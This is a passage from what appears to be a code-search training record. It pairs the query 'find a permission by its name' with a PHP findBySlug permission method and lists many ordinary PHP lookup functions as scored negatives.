permission($permission);", "public function getPermissionById($id)\n {\n $res = false;\n if (clsCommon::isInt($id) > 0) {\n $res = $this->em->getRepository('entities\\AclPermission')->find(clsCommon::isInt($id));\n }\n return $res;\n }", "public function findSanitizedPermission($profileId, $optionName)\n\t{\n\t\t$permissions = $this->findPermission($profileId, $optionName);\n\n\t\tif (!is_numeric($permissions) || $permissions < 0 || $permissions > 3) {\n\t\t\treturn 3;\n\t\t}\n\n\t\treturn $permissions;\n\t}", "static function getPermissionById(string $id) {\n $db = new Database();\n return $db->getColumnValueWhere('users', 'permission', 'id', $id);\n }", "public static function getModel($name)\n {\n return TableRegistry::get(\"_Permission{$name}\", [\n 'className' => static::getModelClass($name)\n ]);\n }", "function findMember($name,$id){\n\t\tif($name == null || strlen($name) == 0 || !$this->isValidStr($name)){\n\t\t\tthrow new Exception (\"Please enter a valid name.\");\n\t\t}elseif ($id == null || (!is_numeric($id))){\n\t\t\tthrow new Exception (\"Please enter a valid id.\");\n\t\t}else{\n\t\t\t//Find the member\n\t\t\t$members = $this->urlms->getLab_index(0)->getStaffMembers();\n\t\t\t$staffMember=null;\n\t\t\tfor ($i = 0; $i < sizeof($members); $i++){\n\t\t\t\tif($name == $members{$i}->getName() && $id == $members{$i}->getID()){\n\t\t\t\t\t$staffMember = $members{$i};\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($staffMember == null){\n\t\t\t\tthrow new Exception (\"Staff Member not found.\");\n\t\t\t}\n\t\t}\n\t\treturn $staffMember;\n\t}", "public static function findByName(string $name)\n {\n return static::where('name', $name)->first();\n }", "function updatePermissionName($id, $name) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"UPDATE \" . $db_table_prefix . \"permissions\n\t\tSET name = ?\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"si\", $name, $id);\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n}", "public function findByName($name)\n {\n $role = $this->model->where('name', $name)->first();\n\n return $this->toDomainModel($role);\n }", "public function getPermissionFromActionName($input)\n\t{\n\t\tif(($actions = $this->actions) != null){\n\t\t\tif(isset($actions[$input])){\n\t\t\t\treturn $actions[$input];\n\t\t\t} \n\t\t}\n\t\treturn false;\n\t}", "public static function find(String $name) {\n\t\treturn false;\n\t}", "function check_specific_permission($results, $permission)\n{\n\t//use on the results of check_permission\n\tforeach ($results as $permcheck)\n\t{\n\t\tif ($permcheck[1] == $permission)\n\t\t{\n\t\t\treturn \"yes\";\n\t\t}\n\t}\n\treturn \"no\";\n}", "public function findByAccount($name);", "protected function resolvePermission($permission): Permission\n {\n if (is_string($permission)) {\n $permission = Permission::search($permission);\n } elseif (is_int($permission)) {\n $permission = Permission::find($permission);\n }\n\n return $permission;\n }", "public function findByName($group_name);", "public static function chanteGuardWithPrefix($prefix = 'api-', $guard = 'api')\n {\n return Permission::where('name', 'like', $prefix . '%')->update(['guard_name' => $guard]);\n }", "public static function findByName($name)\n {\n return static::find()->where(['name' => $name])->one();\n }", "public function get($name) {\r\n\t\treturn $this->auth->get($name);\r\n\t}", "public function addPermissionByName($name, $con = null)\r\n {\r\n return $this->getGuardUser()->addPermissionByName($name, $con);\r\n }", "public function find($id)\n {\n return response(Permission::findById($id),HTTP_OK);\n }", "public function find($name)\n {\n\t\t$this->load($name);\n }", "public function findPersonByName($name)\n {\n $pgw = $this->di['personGateway'];\n return $pgw->findByName($name);\n }", "public function getPermissionByRoleID($id);", "public function findByName($name)\n {\n return \\SOE\\DB\\AssignmentType::where('name', '=', $name)->first();\n }", "public function findPermissionFromCollection($permission)\n {\n return $this->getAllPermissions()->where('id', $permission->id)->first();\n }", "public function getArgument(string $name);", "public function get($name)\n\t{\n\t\tforeach ($this->data as $record)\n\t\t\tif ($record['name'] == $name)\n\t\t\t\treturn $record;\n\t\treturn null;\n\t}", "abstract public function findByName(string $name): ?Question;", "public function find(string $name): ?Route\n {\n /** @var Route|RouteCollection $route */\n foreach ($this->iterable ?? $this->routes as $route) {\n if ($route instanceof Route && $name === $route->get('name')) {\n return $route;\n }\n }\n\n return null;\n }", "public function findCommand($name) {\n $query = $this->pdo->prepare('SELECT * FROM yubnub.commands WHERE lowercase_name = :lowercaseName');\n $query->bindValue(':lowercaseName', mb_strtolower($name), PDO::PARAM_STR);\n $query->execute();\n if ($query->rowCount() > 0) {\n $row = $query->fetch(PDO::FETCH_ASSOC);\n return $this->createCommand($row);\n }\n return null;\n }", "function fetchPermissionDetails($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT \n\t\tid,\n\t\tname\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->bind_result($id, $name);\n while ($stmt->fetch()) {\n $row = array('id' => $id, 'name' => $name);\n }\n $stmt->close();\n return ($row);\n}", "public function get_attr_by_name( $name ) {\n\t\tforeach ( $this->component as $item ) {\n\t\t\tif ( ( $item['name'] == $name ) ) {\n\t\t\t\treturn $item;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public function AddPermission ($permissionName = NULL, $idPermission = NULL);", "public static function findByName($name)\n {\n $role = static::where('name', $name)->first();\n\n if (!$role) {\n throw new RoleDoesNotExist();\n }\n\n return $role;\n }", "function getProjectPermission($name, $project) {\n if($this->isAdministrator() || $this->isProjectManager() || $this->isProjectLeader($project)) {\n return PROJECT_PERMISSION_MANAGE;\n } // if\n\n \t$project_user = $this->getProjectUserInstance($project);\n \treturn instance_of($project_user, 'ProjectUser') ? $project_user->getPermissionValue($name) : PROJECT_PERMISSION_NONE;\n }", "public static function findByName($name)\n {\n $role = static::where('name', $name)->first();\n\n if (! $role) {\n throw new RoleDoesNotExist();\n }\n\n return $role;\n }", "function fetchPermissionDetails($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id, name FROM permissions WHERE id = ? LIMIT 1\",array($id));\n\t$results = $query->first();\n\t$row = array('id' => $results->id, 'name' => $results->name);\n\treturn ($row);\n}", "public function check($name) {\n $material = Material::where('name', $name)->first();\n return $material;\n }", "public function lookup($scoId, $principalId) {\n\t\treturn $this->find(\"permissions\", array('acl-id' => $scoId, 'principal-id' => $principalId));\n\t}", "public function get(string $name);", "public static function findOneByName($name)\n {\n $name = str_replace('_', '-', $name);\n $vendor = 'antaresproject';\n return static::findByVendorAndName($vendor, $name);\n }", "public function find(string $name, array $content) {\n $key = array_search($name, array_column($content, 'name'));\n if (array_key_exists($key, $content)) {\n return $content[$key];\n }\n\n return FALSE;\n }", "public function getNameByRole ($name, $role) {\n\t\t#coopy/CompareFlags.hx:407: characters 9-37\n\t\t$parts = HxString::split($name, \":\");\n\t\t#coopy/CompareFlags.hx:408: characters 9-48\n\t\tif ($parts->length <= 1) {\n\t\t\t#coopy/CompareFlags.hx:408: characters 34-45\n\t\t\treturn $name;\n\t\t}\n\t\t#coopy/CompareFlags.hx:409: lines 409-411\n\t\tif ($role === \"parent\") {\n\t\t\t#coopy/CompareFlags.hx:410: characters 13-28\n\t\t\treturn ($parts->arr[0] ?? null);\n\t\t}\n\t\t#coopy/CompareFlags.hx:413: lines 413-415\n\t\tif ($role === \"local\") {\n\t\t\t#coopy/CompareFlags.hx:414: characters 13-43\n\t\t\treturn ($parts->arr[$parts->length - 2] ?? null);\n\t\t}\n\t\t#coopy/CompareFlags.hx:416: characters 9-39\n\t\treturn ($parts->arr[$parts->length - 1] ?? null);\n\t}", "public function has($name) {\n\t\t\n\t\tif($name == 'page-add' || $name == 'page-create') return true; // runtime only permissions\n\t\t\n\t\tif(empty($this->permissionNames)) {\n\n\t\t\t$cache = $this->wire('cache');\n\t\t\t$names = $cache->get(self::cacheName);\n\n\t\t\tif(empty($names)) {\n\t\t\t\t$names = array();\n\t\t\t\tforeach($this as $permission) {\n\t\t\t\t\t$names[$permission->name] = $permission->id;\n\t\t\t\t}\n\t\t\t\t$cache->save(self::cacheName, $names, WireCache::expireNever);\n\t\t\t}\n\n\t\t\t$this->permissionNames = $names;\n\t\t}\n\t\t\t\n\t\treturn isset($this->permissionNames[$name]);\n\t}", "public function findPermission(Request $request) {\n $data = \\DB::table('syss_permissions')\n ->select('id_permission', 'name', 'user_id')\n ->leftJoin('user_permissions AS up', function($join) use ($request) {\n $join->on('id_permission', '=', 'up.permission_id');\n $join->where('up.user_id','=', $request->usr);\n })\n ->where('syss_permissions.module_id', $request->id)\n ->get();\n\n return response()->json($data);\n }", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);" ]
[ "0.7672518", "0.7366837", "0.70921236", "0.706232", "0.6850522", "0.68252635", "0.6746682", "0.6396507", "0.6148014", "0.6045136", "0.58767307", "0.58767307", "0.5751148", "0.57210577", "0.57021105", "0.5663872", "0.5663872", "0.56163734", "0.5589904", "0.5589904", "0.5589904", "0.5557314", "0.5550691", "0.5542977", "0.5448728", "0.54373664", "0.53345305", "0.53262216", "0.53190875", "0.5287959", "0.5286036", "0.5218225", "0.5187989", "0.5169067", "0.5164971", "0.51599854", "0.51322395", "0.5099917", "0.5095486", "0.5095061", "0.5092649", "0.5087284", "0.5084", "0.5061257", "0.5035589", "0.503254", "0.502749", "0.501728", "0.5016974", "0.5015871", "0.49832642", "0.49441975", "0.49261832", "0.49241817", "0.4900597", "0.48896375", "0.48818517", "0.48769262", "0.48737696", "0.48638874", "0.48562568", "0.4826163", "0.4824739", "0.48078105", "0.47636756", "0.47608003", "0.47555727", "0.47511807", "0.47464085", "0.47463256", "0.4739716", "0.47341123", "0.4728265", "0.47279006", "0.4708524", "0.47073248", "0.47026792", "0.47008395", "0.47004288", "0.47002485", "0.4697747", "0.46841422", "0.46745232", "0.46724245", "0.4656304", "0.46503147", "0.4642476", "0.464134", "0.4641068", "0.46390033", "0.46353653", "0.46313918", "0.45947716", "0.45947716", "0.45947716", "0.45947716", "0.45947716", "0.45947716", "0.45947716", "0.45947716" ]
0.73720026
1
Find a permission by its name (and optionally guardName).
public static function findBySlug(string $slug, $guardName = null): PermissionContract { $guardName = $guardName ?? Guard::getDefaultName(static::class); $permission = static::getPermissions()->filter(function ($permission) use ($slug, $guardName) { return $permission->slug === $slug && $permission->guard_name === $guardName; })->first(); if (! $permission) { throw PermissionDoesNotExist::create($slug, $guardName); } return $permission; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function findPermission($permissionName);", "public static function findByName(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) {\n return $permission->name === $name && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($name, $guardName);\n }\n\n return $permission;\n }", "public function findByName(string $name)\n {\n return Permission::whereName($name)->first();\n }", "public static function findByName($name) {\n $permission = static::where('name', $name)->first();\n\n if (!$permission) {\n throw new PermissionDoesNotExist();\n }\n\n return $permission;\n }", "public static function findByName(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? config ('auth.defaults.guard');\n\n $permission = static::getPermissions()->where('name', $name)->where('guard_name', $guardName)->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::create($name, $guardName);\n }\n\n return $permission;\n }", "public static function findById(int $id, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($id, $guardName) {\n return $permission->id === $id && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n throw PermissionDoesNotExist::withId($id, $guardName);\n }\n\n return $permission;\n }", "static function getPermission($name) {\n return static::getPermissions()->get($name);\n }", "public static function findOrCreate(string $name, $guardName = null): PermissionContract\n {\n $guardName = $guardName ?? Guard::getDefaultName(static::class);\n\n $permission = static::getPermissions()->filter(function ($permission) use ($name, $guardName) {\n return $permission->name === $name && $permission->guard_name === $guardName;\n })->first();\n\n if (! $permission) {\n return static::create(['name' => $name, 'guard_name' => $guardName]);\n }\n\n return $permission;\n }", "function permissionNameExists($permission) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id FROM permissions WHERE\n\tname = ?\",array($permission));\n\t$results = $query->results();\n}", "public static function get_permission_by_name($permission_name)\n {\n global $DB;\n $permission = $DB->get_record('permissions', ['name' => $permission_name]);\n return $permission;\n }", "public static function find($name);", "public static function find($name);", "public function permission($permission)\n {\n if (is_numeric($permission)) {\n return $this->permissionModel->find((int) $permission);\n }\n\n return $this->permissionModel->like('name', $permission, 'none', null, true)->first();\n }", "public function getPermission($permission);", "public function permissionExists($permissionName);", "public function getPermission($permission) {}", "public function getPermission($permission) {}", "static function getPermission(String $permission){\n $permissions = Permission::all();\n \n for($i = 0; $i < count($permissions); $i++){\n if($permissions[$i]->name === $permission)\n return $permissions[$i];\n }\n\n return false;\n }", "public function findByName($name);", "public function findByName($name);", "public function findByName($name);", "function permissionNameExists($permission) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT id\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tname = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"s\", $permission);\n $stmt->execute();\n $stmt->store_result();\n $num_returns = $stmt->num_rows;\n $stmt->close();\n\n if ($num_returns > 0) {\n return true;\n } else {\n return false;\n }\n}", "public function findByName(String $name);", "public function HasPermission ($permissionName = NULL, $idPermission = NULL);", "public function findPermissionById($permissionId);", "public static function findByName($name)\n {\n foreach (self::findAll([\"name\" => $name]) as $map) {\n if (\\User::getUSER()) {\n foreach (\\User::getUSER()->getAuthGroups() as $group) {\n if ($group->id == $map->authgroupID)\n return $map;\n }\n } else\n return $map;\n }\n return null;\n }", "function find_route_by_name(string $name, string $module): ?array\n{\n foreach (Router::getRoutes() as $route) {\n if (isset($route['name']) &&\n strtolower($route['name']) == strtolower($name) &&\n strtolower($route['module']) == strtolower($module)) {\n \n return $route;\n }\n }\n\n return null;\n}", "public function find(int $id): Permission\n {\n return Permission::find($id);\n }", "public function find($id)\n {\n $query=\"SELECT permissionId,\".\n \"permissionName \". \t\t \n\t \"FROM permission \".\n\t \"WHERE permissionId=\".$id;\n\n return($this->selectDB($query, \"Permission\"));\n }", "function permissionNameExists($permission)\r\n{\r\n\tglobal $mysqli,$db_table_prefix;\r\n\t$stmt = $mysqli->prepare(\"SELECT id\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\t\tWHERE\r\n\t\tname = ?\r\n\t\tLIMIT 1\");\r\n\t$stmt->bind_param(\"s\", $permission);\t\r\n\t$stmt->execute();\r\n\t$stmt->store_result();\r\n\t$num_returns = $stmt->num_rows;\r\n\t$stmt->close();\r\n\t\r\n\tif ($num_returns > 0)\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn false;\t\r\n\t}\r\n}", "public function hasPermission($name)\r\n {\r\n return $this->getGuardUser() ? $this->getGuardUser()->hasPermission($name) : false;\r\n }", "public function findName($name)\n {\n return $this->model->where('name', $name)->first();\n }", "public function hasPermissionByName($name){\n\t\t\n\t\t$ok = false;\n\t\t\n\t\tforeach ($this->getPermissions() as $myPermission) {\n\t\t\t$ok = strtoupper($myPermission->getName()) == strtoupper($name);\n\t\t\tif( $ok )\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\treturn $ok;\n\t\t\n\t}", "public static function can($permissionName, $params = []){\n\n\n }", "private function getSettingByName($name)\n {\n $settings = $this->settingsManager->all();\n foreach ($settings as $setting) {\n /** @var Setting $setting */\n if ($setting->getName() == $name) {\n return $setting;\n }\n }\n throw new \\InvalidArgumentException('Setting not found in database.');\n }", "function getSystemPermission($name) {\n \t$role = $this->getRole();\n if(instance_of($role, 'Role')) {\n return (boolean) $role->getPermissionValue($name);\n } else {\n return false;\n } // if\n }", "function getPermissionInfo( $pPermission = NULL, $pPackageName = NULL ) {\n\t\t$ret = NULL;\n\t\t$bindVars = array();\n\t\t$sql = 'SELECT * FROM `'.BIT_DB_PREFIX.'users_permissions` ';\n\t\tif( !empty( $pPermission ) ) {\n\t\t\t$sql .= ' WHERE `perm_name`=? ';\n\t\t\tarray_push( $bindVars, $pPermission );\n\t\t} elseif( !empty( $pPackageName ) ) {\n\t\t\t$sql .= ' WHERE `package` = ? ';\n\t\t\tarray_push( $bindVars, substr($pPackageName,0,100));\n\t\t}\n\t\t$ret = $this->mDb->getAssoc( $sql, $bindVars );\n\t\treturn $ret;\n\t}", "private function getByNameInCache($name)\n {\n $modulesResult = $this->getModulesResult();\n foreach($modulesResult as $module)\n {\n if($name == $module['modulo'])\n {\n return $module;\n }\n }\n }", "public function hasPermission($name) {\n return $this->getGuardUser() ? $this->getGuardUser()->hasPermission($name) : false;\n }", "function addPermission( $name ) {\n $d = loadDB();\n \n $found = false;\n $highestID = 0;\n foreach ($d['permissions'] as $perm) {\n if ($name == $perm['name']) {\n $found = true;\n }\n if ($perm['id'] > $highestID)\n $highestID = $perm['id'];\n }\n $highestID++;\n if (!$found) {\n array_push( $d['permissions'], array( \"name\" => $name, \"id\" => $highestID ) );\n saveDB( $d );\n audit( \"addPermission\", $name );\n } else {\n $highestID = -1; // indicate error\n }\n return $highestID;\n }", "public static function findByName($name)\n {\n return Role::where('name', $name)->firstOrFail();\n }", "function permissionNameExists($permission) // admin_permissions.php\r\n\r\n{\r\n\r\n\tglobal $mysqli,$db_table_prefix;\r\n\r\n\t$stmt = $mysqli->prepare(\"SELECT id\r\n\r\n\t\tFROM \".$db_table_prefix.\"permissions\r\n\r\n\t\tWHERE\r\n\r\n\t\tname = ?\r\n\r\n\t\tLIMIT 1\");\r\n\r\n\t$stmt->bind_param(\"s\", $permission);\t\r\n\r\n\t$stmt->execute();\r\n\r\n\t$stmt->store_result();\r\n\r\n\t$num_returns = $stmt->num_rows;\r\n\r\n\t$stmt->close();\r\n\r\n\t\r\n\r\n\tif ($num_returns > 0)\r\n\r\n\t{\r\n\r\n\t\treturn true;\r\n\r\n\t}\r\n\r\n\telse\r\n\r\n\t{\r\n\r\n\t\treturn false;\t\r\n\r\n\t}\r\n\r\n}", "public function getByName($roleName);", "public function get(string $name){\n foreach($this->routes as $route){\n\t\t\tif($route->matchName($name))\n\t\t\t\treturn $route;\n\t\t}\n\t\treturn null;\n }", "public static function getPermission($permission) {\n $params = self::getPermissionParts($permission);\n return static::where($params)->first();\n }", "private function retrieveForumPermissions($name,$log=false){\n \t$query = NewDao::getGenerator();\n \t\n \t$query->addSelect('permissions',array('id','name'));\n \t\n \t$query->addConditionSet($query->createCondition('permissions','name','=',$name . '-admin'));\n \t$query->addConditionSet($query->createCondition('permissions','name','=',$name . '-editor'));\n \t$query->addConditionSet($query->createCondition('permissions','name','=',$name . '-user'));\n \t\n \t$perms = NewDao::getInstance()->queryArray($query->generate(),$log);\n \t\n \tforeach ($perms as $perm) {\n \t\tswitch ($perm['name']){\n \t\t\tcase $name . '-admin':\n \t\t\t\t$this->_admin_permission = $perm['id'];\n \t\t\tbreak;\n \t\t\tcase $name . '-editor':\n \t\t\t\t$this->_editor_permission = $perm['id'];\n \t\t\tbreak;\n \t\t\tcase $name . '-user':\n \t\t\t\t$this->_user_permission = $perm['id'];\n \t\t\tbreak;\n \t\t}\n \t}\n }", "public function get_by_name(string $name)\n {\n if(!empty($name)){\n $result = $this->where('name', $name)->first();\n // $result = $this->builder->where('name', $name)->get(1);\n if($result){\n return $result;\n } else {\n return false;\n }\n } else {\n return false;\n }\n }", "public function permission($permission);", "public function getPermissionById($id)\n {\n $res = false;\n if (clsCommon::isInt($id) > 0) {\n $res = $this->em->getRepository('entities\\AclPermission')->find(clsCommon::isInt($id));\n }\n return $res;\n }", "public function findSanitizedPermission($profileId, $optionName)\n\t{\n\t\t$permissions = $this->findPermission($profileId, $optionName);\n\n\t\tif (!is_numeric($permissions) || $permissions < 0 || $permissions > 3) {\n\t\t\treturn 3;\n\t\t}\n\n\t\treturn $permissions;\n\t}", "static function getPermissionById(string $id) {\n $db = new Database();\n return $db->getColumnValueWhere('users', 'permission', 'id', $id);\n }", "public static function getModel($name)\n {\n return TableRegistry::get(\"_Permission{$name}\", [\n 'className' => static::getModelClass($name)\n ]);\n }", "function findMember($name,$id){\n\t\tif($name == null || strlen($name) == 0 || !$this->isValidStr($name)){\n\t\t\tthrow new Exception (\"Please enter a valid name.\");\n\t\t}elseif ($id == null || (!is_numeric($id))){\n\t\t\tthrow new Exception (\"Please enter a valid id.\");\n\t\t}else{\n\t\t\t//Find the member\n\t\t\t$members = $this->urlms->getLab_index(0)->getStaffMembers();\n\t\t\t$staffMember=null;\n\t\t\tfor ($i = 0; $i < sizeof($members); $i++){\n\t\t\t\tif($name == $members{$i}->getName() && $id == $members{$i}->getID()){\n\t\t\t\t\t$staffMember = $members{$i};\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($staffMember == null){\n\t\t\t\tthrow new Exception (\"Staff Member not found.\");\n\t\t\t}\n\t\t}\n\t\treturn $staffMember;\n\t}", "public static function findByName(string $name)\n {\n return static::where('name', $name)->first();\n }", "function updatePermissionName($id, $name) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"UPDATE \" . $db_table_prefix . \"permissions\n\t\tSET name = ?\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"si\", $name, $id);\n $result = $stmt->execute();\n $stmt->close();\n return $result;\n}", "public function findByName($name)\n {\n $role = $this->model->where('name', $name)->first();\n\n return $this->toDomainModel($role);\n }", "public function getPermissionFromActionName($input)\n\t{\n\t\tif(($actions = $this->actions) != null){\n\t\t\tif(isset($actions[$input])){\n\t\t\t\treturn $actions[$input];\n\t\t\t} \n\t\t}\n\t\treturn false;\n\t}", "function check_specific_permission($results, $permission)\n{\n\t//use on the results of check_permission\n\tforeach ($results as $permcheck)\n\t{\n\t\tif ($permcheck[1] == $permission)\n\t\t{\n\t\t\treturn \"yes\";\n\t\t}\n\t}\n\treturn \"no\";\n}", "public static function find(String $name) {\n\t\treturn false;\n\t}", "public function findByAccount($name);", "protected function resolvePermission($permission): Permission\n {\n if (is_string($permission)) {\n $permission = Permission::search($permission);\n } elseif (is_int($permission)) {\n $permission = Permission::find($permission);\n }\n\n return $permission;\n }", "public static function chanteGuardWithPrefix($prefix = 'api-', $guard = 'api')\n {\n return Permission::where('name', 'like', $prefix . '%')->update(['guard_name' => $guard]);\n }", "public function findByName($group_name);", "public static function findByName($name)\n {\n return static::find()->where(['name' => $name])->one();\n }", "public function addPermissionByName($name, $con = null)\r\n {\r\n return $this->getGuardUser()->addPermissionByName($name, $con);\r\n }", "public function get($name) {\r\n\t\treturn $this->auth->get($name);\r\n\t}", "public function find($id)\n {\n return response(Permission::findById($id),HTTP_OK);\n }", "public function getPermissionByRoleID($id);", "public function find($name)\n {\n\t\t$this->load($name);\n }", "public function findPersonByName($name)\n {\n $pgw = $this->di['personGateway'];\n return $pgw->findByName($name);\n }", "public function findByName($name)\n {\n return \\SOE\\DB\\AssignmentType::where('name', '=', $name)->first();\n }", "public function findPermissionFromCollection($permission)\n {\n return $this->getAllPermissions()->where('id', $permission->id)->first();\n }", "public function getArgument(string $name);", "public function get($name)\n\t{\n\t\tforeach ($this->data as $record)\n\t\t\tif ($record['name'] == $name)\n\t\t\t\treturn $record;\n\t\treturn null;\n\t}", "public function find(string $name): ?Route\n {\n /** @var Route|RouteCollection $route */\n foreach ($this->iterable ?? $this->routes as $route) {\n if ($route instanceof Route && $name === $route->get('name')) {\n return $route;\n }\n }\n\n return null;\n }", "abstract public function findByName(string $name): ?Question;", "public function AddPermission ($permissionName = NULL, $idPermission = NULL);", "function fetchPermissionDetails($id) {\n global $mysqli, $db_table_prefix;\n $stmt = $mysqli->prepare(\"SELECT \n\t\tid,\n\t\tname\n\t\tFROM \" . $db_table_prefix . \"permissions\n\t\tWHERE\n\t\tid = ?\n\t\tLIMIT 1\");\n $stmt->bind_param(\"i\", $id);\n $stmt->execute();\n $stmt->bind_result($id, $name);\n while ($stmt->fetch()) {\n $row = array('id' => $id, 'name' => $name);\n }\n $stmt->close();\n return ($row);\n}", "public function findCommand($name) {\n $query = $this->pdo->prepare('SELECT * FROM yubnub.commands WHERE lowercase_name = :lowercaseName');\n $query->bindValue(':lowercaseName', mb_strtolower($name), PDO::PARAM_STR);\n $query->execute();\n if ($query->rowCount() > 0) {\n $row = $query->fetch(PDO::FETCH_ASSOC);\n return $this->createCommand($row);\n }\n return null;\n }", "public function get_attr_by_name( $name ) {\n\t\tforeach ( $this->component as $item ) {\n\t\t\tif ( ( $item['name'] == $name ) ) {\n\t\t\t\treturn $item;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public static function findByName($name)\n {\n $role = static::where('name', $name)->first();\n\n if (!$role) {\n throw new RoleDoesNotExist();\n }\n\n return $role;\n }", "function getProjectPermission($name, $project) {\n if($this->isAdministrator() || $this->isProjectManager() || $this->isProjectLeader($project)) {\n return PROJECT_PERMISSION_MANAGE;\n } // if\n\n \t$project_user = $this->getProjectUserInstance($project);\n \treturn instance_of($project_user, 'ProjectUser') ? $project_user->getPermissionValue($name) : PROJECT_PERMISSION_NONE;\n }", "public static function findByName($name)\n {\n $role = static::where('name', $name)->first();\n\n if (! $role) {\n throw new RoleDoesNotExist();\n }\n\n return $role;\n }", "function fetchPermissionDetails($id) {\n\t$db = DB::getInstance();\n\t$query = $db->query(\"SELECT id, name FROM permissions WHERE id = ? LIMIT 1\",array($id));\n\t$results = $query->first();\n\t$row = array('id' => $results->id, 'name' => $results->name);\n\treturn ($row);\n}", "public function check($name) {\n $material = Material::where('name', $name)->first();\n return $material;\n }", "public function lookup($scoId, $principalId) {\n\t\treturn $this->find(\"permissions\", array('acl-id' => $scoId, 'principal-id' => $principalId));\n\t}", "public function get(string $name);", "public function find(string $name, array $content) {\n $key = array_search($name, array_column($content, 'name'));\n if (array_key_exists($key, $content)) {\n return $content[$key];\n }\n\n return FALSE;\n }", "public function getNameByRole ($name, $role) {\n\t\t#coopy/CompareFlags.hx:407: characters 9-37\n\t\t$parts = HxString::split($name, \":\");\n\t\t#coopy/CompareFlags.hx:408: characters 9-48\n\t\tif ($parts->length <= 1) {\n\t\t\t#coopy/CompareFlags.hx:408: characters 34-45\n\t\t\treturn $name;\n\t\t}\n\t\t#coopy/CompareFlags.hx:409: lines 409-411\n\t\tif ($role === \"parent\") {\n\t\t\t#coopy/CompareFlags.hx:410: characters 13-28\n\t\t\treturn ($parts->arr[0] ?? null);\n\t\t}\n\t\t#coopy/CompareFlags.hx:413: lines 413-415\n\t\tif ($role === \"local\") {\n\t\t\t#coopy/CompareFlags.hx:414: characters 13-43\n\t\t\treturn ($parts->arr[$parts->length - 2] ?? null);\n\t\t}\n\t\t#coopy/CompareFlags.hx:416: characters 9-39\n\t\treturn ($parts->arr[$parts->length - 1] ?? null);\n\t}", "public static function findOneByName($name)\n {\n $name = str_replace('_', '-', $name);\n $vendor = 'antaresproject';\n return static::findByVendorAndName($vendor, $name);\n }", "public function has($name) {\n\t\t\n\t\tif($name == 'page-add' || $name == 'page-create') return true; // runtime only permissions\n\t\t\n\t\tif(empty($this->permissionNames)) {\n\n\t\t\t$cache = $this->wire('cache');\n\t\t\t$names = $cache->get(self::cacheName);\n\n\t\t\tif(empty($names)) {\n\t\t\t\t$names = array();\n\t\t\t\tforeach($this as $permission) {\n\t\t\t\t\t$names[$permission->name] = $permission->id;\n\t\t\t\t}\n\t\t\t\t$cache->save(self::cacheName, $names, WireCache::expireNever);\n\t\t\t}\n\n\t\t\t$this->permissionNames = $names;\n\t\t}\n\t\t\t\n\t\treturn isset($this->permissionNames[$name]);\n\t}", "public function findPermission(Request $request) {\n $data = \\DB::table('syss_permissions')\n ->select('id_permission', 'name', 'user_id')\n ->leftJoin('user_permissions AS up', function($join) use ($request) {\n $join->on('id_permission', '=', 'up.permission_id');\n $join->where('up.user_id','=', $request->usr);\n })\n ->where('syss_permissions.module_id', $request->id)\n ->get();\n\n return response()->json($data);\n }", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);", "public function get($name);" ]
[ "0.7672613", "0.73713934", "0.7364946", "0.7091033", "0.7061607", "0.6850519", "0.6824714", "0.67458576", "0.61486596", "0.604473", "0.5872949", "0.5872949", "0.575222", "0.57225543", "0.5704092", "0.5665459", "0.5665459", "0.561727", "0.5585402", "0.5585402", "0.5585402", "0.55580354", "0.554646", "0.5545529", "0.5450338", "0.543356", "0.5333097", "0.53278035", "0.53198177", "0.52884513", "0.5285806", "0.52144206", "0.5188307", "0.51667994", "0.5165613", "0.51601994", "0.51342106", "0.50958246", "0.5095274", "0.5094228", "0.5090357", "0.50882053", "0.5082592", "0.5057651", "0.5036883", "0.5031343", "0.50226676", "0.50196844", "0.50188", "0.5016035", "0.498523", "0.49436563", "0.4924981", "0.4919273", "0.49006248", "0.48861542", "0.48826775", "0.48744777", "0.48740166", "0.4859751", "0.48572052", "0.48256126", "0.48222458", "0.48028457", "0.4760626", "0.4760346", "0.47570312", "0.47490454", "0.47467428", "0.4741487", "0.4734924", "0.47346306", "0.47265077", "0.47237533", "0.47047845", "0.4704518", "0.4703096", "0.47014466", "0.46991238", "0.469822", "0.4696473", "0.46835655", "0.4673264", "0.46725705", "0.465307", "0.4651854", "0.46386516", "0.46383497", "0.46378374", "0.4636878", "0.463504", "0.46325845", "0.45908853", "0.45908853", "0.45908853", "0.45908853", "0.45908853", "0.45908853", "0.45908853", 